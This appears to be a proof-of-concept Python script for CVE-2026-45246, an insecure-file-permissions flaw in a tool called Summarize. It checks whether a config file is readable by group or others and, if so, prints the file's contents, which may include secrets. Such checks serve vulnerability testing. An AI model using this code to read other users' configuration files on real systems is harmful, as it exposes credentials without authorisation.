CVE-2026-45246 Summarize不安全文件权限漏洞

# PoC for CVE-2026-45246: Summarize Insecure File Permissions # This script checks if the config file is readable by others due to insecure umask. import os import stat CONFIG_PATH = "/path/to/summarize/config.yml" # Replace with actual path def check_vulnerability(): if not os.path.exists(CONFIG_PATH): print(f"[!] Config file not found at {CONFIG_PATH}") return file_stat = os.stat(CONFIG_PATH) mode = file_stat.st_mode # Check if readable by group (S_IRGRP) or others (S_IROTH) is_group_readable = bool(mode & stat.S_IRGRP) is_other_readable = bool(mode & stat.S_IROTH) print(f"[*] File permissions: {oct(stat.S_IMODE(mode))}") if is_group_readable or is_other_readable: print("[+] Vulnerability confirmed! File is readable by unauthorized users.") try: with open(CONFIG_PATH, 'r') as f: print("[+] Content of the config file:") print(f.read()) except Exception as e: print(f"[!] Error reading file: {e}") else: print("[-] File permissions appear secure (not readable by group/others).") if __name__ == "__main__": check_vulnerability()